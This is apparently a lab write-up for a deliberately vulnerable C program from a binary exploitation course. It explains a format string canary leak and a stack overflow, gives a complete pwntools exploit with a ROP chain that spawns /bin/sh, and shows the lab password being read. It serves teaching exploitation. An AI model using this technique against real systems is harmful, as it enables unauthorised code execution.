For this lab, we are given a program and its corresponding source code written in C.

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "utils.h"
#define STDIN 0

//gcc -static -fstack-protector-all -mpreferred-stack-boundary=2 -o lab8A lab8A.c
int *global_addr;
int *global_addr_check;

// made so you can only read what we let you

void selectABook() {
    /* Our Apologies,the interface is currently under developement */
    char buf_secure[512];
    scanf("%s", buf_secure);
    printf(buf_secure);
    if(strcmp(buf_secure, "A") == 0){
        readA();
    }else if(strcmp(buf_secure,"F") == 0){
        readB();
    }else if(*buf_secure == '\x00'){
        readC();
    }else if(buf_secure == 1337){
        printf("\nhackers dont have time to read.\n");
        exit(EXIT_FAILURE);
    }else{
        printf("\nWhat were you thinking, that isn't a good book.");
        selectABook();
    }
    return;
}

void readA(){

    printf("\n\n*************************************************\n");
    printf("{|} Aristote's Metaphysics 350 B.C. Book VIII {|}\n");
    printf("*************************************************\n\n");
    printf("To return to the difficulty which has been stated with respect both to definitions and to numbers, what is the cause of their unit
y? In the case of all things which have several parts and in which the totality is not, as it were, a mere heap, but the whole is something be
side the parts, there is a cause; for even in bodies contact is the cause of unity in some cases, and in others viscosity or some other such q
uality. And a definition is a set of words which is one not by being connected together, like the Iliad, but by dealing with one object.-What 
then, is it that makes man one; why is he one and not many, e.g. animal + biped, especially if there are, as some say, an animal-itself and a 
biped-itself? Why are not those Forms themselves the man, so that men would exist by participation not in man, nor in-one Form, but in two, an
imal and biped, and in general man would be not one but more than one thing, animal and biped? \n");

}

void readB(){

    printf("\n\n*************************************************\n");
    printf("{|} Aristote's Metaphysics 350 B.C. Book IVIZ {|}\n");
    printf("*************************************************\n\n");
    printf(

    "Clearly, then, if people proceed thus in their usual manner of definition and speech, they cannot explain and solve the difficulty. But if, as we say, one element is matter and another is form, and one is potentially and the other actually, the question will no longer be thought a difficulty. For this difficulty is the same as would arise if 'round bronze' were the definition of 'cloak'; for this word would be a sign of the definitory formula, so that the question is, what is the cause of the unity of 'round' and 'bronze'? The difficulty disappears, because the one is matter, the other form. What, then, causes this-that which was potentially to be actually-except, in the case of things which are generated, the agent? For there is no other cause of the potential sphere's becoming actually a sphere, but this was the essence of either. Of matter some is intelligible, some perceptible, and in a formula there is always an element of matter as well as one of actuality; e.g. the circle is 'a plane figure'. But of the things which have no matter, either intelligible or perceptible, each is by its nature essentially a kind of unity, as it is essentially a kind of being-individual substance, quality, or quantity (and so neither 'existent' nor 'one' is present in their definitions), and the essence of each of them is by its very nature a kind of unity as it is a kind of being-and so none of these has any reason outside itself, for being one, nor for being a kind of being; for each is by its nature a kind of being and a kind of unity, not as being in the genus 'being' or 'one' nor in the sense that being and unity can exist apart from particulars. \n");

}

void readC(){

    printf("\n\n*************************************************\n");
    printf("{|} Aristote's Metaphysics 350 B.C. Book MN9+ {|}\n");
    printf("*************************************************\n\n");
   printf(
    "Owing to the difficulty about unity some speak of 'participation', and raise the question, what is the cause of participation and what is it to participate; and others speak of 'communion', as Lycophron says knowledge is a communion of knowing with the soul; and others say life is a 'composition' or 'connexion' of soul with body. Yet the same account applies to all cases; for being healthy, too, will on this showing be either a 'communion' or a 'connexion' or a 'composition' of soul and health, and the fact that the bronze is a triangle will be a 'composition' of bronze and triangle, and the fact that a thing is white will be a 'composition' of surface and whiteness. The reason is that people look for a unifying formula, and a difference, between potency and complete reality. But, as has been said, the proximate matter and the form are one and the same thing, the one potentially, and the other actually. Therefore it is like asking what in general is the cause of unity and of a thing's being one; for each thing is a unity, and the potential and the actual are somehow one. Therefore there is no other cause here unless there is something which caused the movement from potency into actuality. And all things which have no matter are without qualification essentially unities. ");


}

void findSomeWords() {
    /* We specialize in words of wisdom */
    char buf[24];
    // to avoid the null
    global_addr = (&buf+0x1);
    // have to make sure no one is stealing the librarians cookies (they get angry)
    global_addr_check = global_addr-0x2;
    char lolz[4];

    printf("\n..I like to read ^_^ <==  ");
    read(STDIN, buf, 2048); // >> read a lot every day !

    if(((*( global_addr))^(*(global_addr_check))) != ((*( global_addr))^(0xdeadbeef))){
        printf("\n\nWoah There\n");
        // why are you trying to break my program q-q
        exit(EXIT_FAILURE);
    }

    // protected by my CUSTOM cookie - so soooo safe now
    return;
}

int main(int argc, char* argv[]) {

    disable_buffering(stdout);
    printf("\n\n\n");
    printf("**********************************************\n"\
           "{|}  Welcome to QUEND's Beta-Book-Browser  {|}\n"\
           "**********************************************\n"\
           "\n"
           "\t==> reading is for everyone <==\n"\
           "\t[+] Enter Your Favorite Author's Last Name: ");
    selectABook();

    printf("\n...please turn to page 394...\n");
    findSomeWords();

    printf("\n\t[===] Whew you made it !\n\n");
    return EXIT_SUCCESS;
}

If we run checksec, we can see that stack cookies, NX and partial RELRO are enabled.

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

Unfortunately, this is a statically linked binary, so we cannot do a GOT overwrite.

Vulnerability

There is a format string vulnerability in the selectABook() function which allows us to read arbitrary data off the stack, including the stack cookie.

char buf_secure[512];
scanf("%s", buf_secure);
printf(buf_secure);

We can subsequently used our leaked stack cookie to overflow a buffer and patch the actual stack cookie to allow us to overflow even further to corrupt a function’s return address.

Unfortunately, scanf() does not read any bytes past the first NULL byte. This is problematic, as all canaries begin with a NULL byte.

Some examples of valid stack cookies:

run 1: 0xe8f1500
run 2: 0x949fde00 
run 3: 0xd405a00
run 4: 0x65977800 

So, to overwrite the remaining 3 bytes of the canary, we will need to instead, use a function that will continue reading our input after it encounters a NULL byte.

One such function exists in the findSomeWords() function.

char buf[24];
read(STDIN, buf, 2048); // >> read a lot every day !

read() does not stop reading after it encounters a NULL byte. It only stops reading after it encounters a newline char.

This will allow us to patch the stack cookie and continue overwriting into the return address and beyond.

The only other things we need to do for this lab are to bypass the XOR check, find a ret gadget to move us up the stack, and to overwrite the stack starting at the address immediately before the saved return address, with a ROP chain.

Putting everything together, the following solution granted me a shell.

Solution

#!/usr/bin/env python

from pwn import *
import sys

def exploit(r):
    r.recvuntil(": ")
    r.sendline("%130$p")
    cookie = int(r.recvuntil(".").split("\n")[0],16)
    log.success("cookie leaked: "+hex(cookie))
    r.sendline("A")
    r.recvuntil("<==  ")

    p  = ''
    p += p32(0x0806f22a) # pop edx ; ret
    p += p32(0x080ec060) # @ .data
    p += p32(0x080bc506) # pop eax ; ret
    p += '/bin'
    p += p32(0x080a2cfd) # mov dword ptr [edx], eax ; ret
    p += p32(0x0806f22a) # pop edx ; ret
    p += p32(0x080ec064) # @ .data + 4
    p += p32(0x080bc506) # pop eax ; ret
    p += '//sh'
    p += p32(0x080a2cfd) # mov dword ptr [edx], eax ; ret
    p += p32(0x0806f22a) # pop edx ; ret
    p += p32(0x080ec068) # @ .data + 8
    p += p32(0x08054ab0) # xor eax, eax ; ret
    p += p32(0x080a2cfd) # mov dword ptr [edx], eax ; ret
    p += p32(0x080481c9) # pop ebx ; ret
    p += p32(0x080ec060) # @ .data
    p += p32(0x080e71c5) # pop ecx ; ret
    p += p32(0x080ec068) # @ .data + 8
    p += p32(0x0806f22a) # pop edx ; ret
    p += p32(0x080ec068) # @ .data + 8
    p += p32(0x08054ab0) # xor eax, eax ; ret
    p += p32(0x0807bc96) # inc eax ; ret
    p += p32(0x0807bc96) # inc eax ; ret
    p += p32(0x0807bc96) # inc eax ; ret
    p += p32(0x0807bc96) # inc eax ; ret
    p += p32(0x0807bc96) # inc eax ; ret
    p += p32(0x0807bc96) # inc eax ; ret
    p += p32(0x0807bc96) # inc eax ; ret
    p += p32(0x0807bc96) # inc eax ; ret
    p += p32(0x0807bc96) # inc eax ; ret
    p += p32(0x0807bc96) # inc eax ; ret
    p += p32(0x0807bc96) # inc eax ; ret
    p += p32(0x08048ef6) # int 0x80

    payload  = "C"*16           # filler
    payload += p32(0xdeadbeef)  # pass xor check
    payload += "D"*4            # filler
    payload += p32(cookie)      # patch the cookie
    payload += "B"*4
    payload += p32(0x80481b2)   # ret gadget
    payload += p                # ROP chain    
    r.send(payload)
    
    r.interactive()
if __name__ == "__main__":
    log.info("For remote: %s HOST PORT" % sys.argv[0])
    if len(sys.argv) > 1:
        r = remote(sys.argv[1], int(sys.argv[2]))
        exploit(r)
    else:
        r = process(['/home/rh0gue/Documents/MBE/lab08/8A/lab8A'], env={"LD_PRELOAD":""})
        print util.proc.pidof(r)
        pause()
        exploit(r)
rh0gue@vexillum:~/Documents/MBE/lab08/8A$ python solve.py warzone 8841
[*] For remote: solve.py HOST PORT
[+] Opening connection to warzone on port 8841: Done
[+] cookie leaked: 0xb0404f00
[*] Switching to interactive mode
$ id
uid=1032(lab8end) gid=1033(lab8end) groups=1033(lab8end),1001(gameuser)
$ cat /home/lab8end/.pass
H4x0r5_d0nt_N33d_m3t4pHYS1c5
$